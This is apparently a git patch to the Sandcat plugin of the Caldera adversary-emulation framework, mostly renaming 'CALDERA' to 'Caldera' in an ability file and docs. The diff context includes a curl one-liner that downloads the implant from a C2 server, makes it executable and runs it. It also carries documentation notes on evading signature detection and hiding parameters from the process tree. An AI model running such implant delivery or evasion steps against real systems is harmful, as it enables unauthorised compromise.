From 71738c1ea9a5614e536faf7597044af358e3c567 Mon Sep 17 00:00:00 2001 From: JamieScottC Date: Tue, 10 Oct 2023 10:52:28 -0400 Subject: [PATCH 1/2] feat: add magma view --- gui/views/sandcat.vue | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 gui/views/sandcat.vue diff --git a/gui/views/sandcat.vue b/gui/views/sandcat.vue new file mode 100644 index 0000000..da4da02 --- /dev/null +++ b/gui/views/sandcat.vue @@ -0,0 +1,15 @@ + + + From 553cde0da954f9c04592c1d1c5b1e943618b297e Mon Sep 17 00:00:00 2001 From: elegantmoose Date: Sun, 11 Feb 2024 11:58:49 -0500 Subject: [PATCH 2/2] case change --- .../2f34977d-9558-4c12-abad-349716777c6b.yml | 4 ++-- docs/Sandcat-Details.md | 12 ++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml b/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml index 437515a..fe5794b 100644 --- a/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml +++ b/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml @@ -2,7 +2,7 @@ - id: 2f34977d-9558-4c12-abad-349716777c6b name: Sandcat - description: CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default. + description: Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default. tactic: command-and-control technique: attack_id: T1105 @@ -49,7 +49,7 @@ curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name}; chmod +x #{agents.implant_name}; ./#{agents.implant_name} -server $server -listenP2P -v - - description: (ARM64) CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default. + - description: (ARM64) Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default. architecture: ARM64 command: | server="#{app.contact.http}"; diff --git a/docs/Sandcat-Details.md b/docs/Sandcat-Details.md index 7a935cc..67f5253 100644 --- a/docs/Sandcat-Details.md +++ b/docs/Sandcat-Details.md @@ -1,10 +1,10 @@ # Sandcat Plugin Details -The Sandcat plugin provides CALDERA with its default agent implant, Sandcat. +The Sandcat plugin provides Caldera with its default agent implant, Sandcat. The agent is written in GoLang for cross-platform compatibility and can currently be compiled to run on Windows, Linux, and MacOS targets. -While the CALDERA C2 server requires GoLang to be installed in order to compile agent binaries, +While the Caldera C2 server requires GoLang to be installed in order to compile agent binaries, no installation is required on target machines - the agent program will simply run as an executable. The `sandcat` plugin does come with precompiled binaries, but these only contain the basic @@ -35,11 +35,11 @@ latest compiled version on your system. To deploy Sandcat, use one of the built-in delivery commands from the main server GUI which allows you to run the agent on Windows, Mac, or Linux. -Each of these commands downloads a compiled Sandcat executable from CALDERA and runs it immediately. +Each of these commands downloads a compiled Sandcat executable from Caldera and runs it immediately. -Once the agent is running, it should show log messages when it beacons into CALDERA. +Once the agent is running, it should show log messages when it beacons into Caldera. -> If you have GoLang installed on the CALDERA server, each time you run one of the delivery commands above, +> If you have GoLang installed on the Caldera server, each time you run one of the delivery commands above, the agent will re-compile itself dynamically to obtain a new file hash. This will help bypass file-based signature detections. ### Options @@ -142,7 +142,7 @@ The following values describe exit codes utilized by specific executors: ## Customizing Default Options & Execution Without CLI Options -It is possible to customize the default values of these options when pulling Sandcat from the CALDERA server. +It is possible to customize the default values of these options when pulling Sandcat from the Caldera server. This is useful if you want to hide the parameters from the process tree or if you cannot specify arguments when executing the agent binary. You can do this by passing the values in as headers when requesting the agent binary from the C2 server instead of as parameters when executing the binary.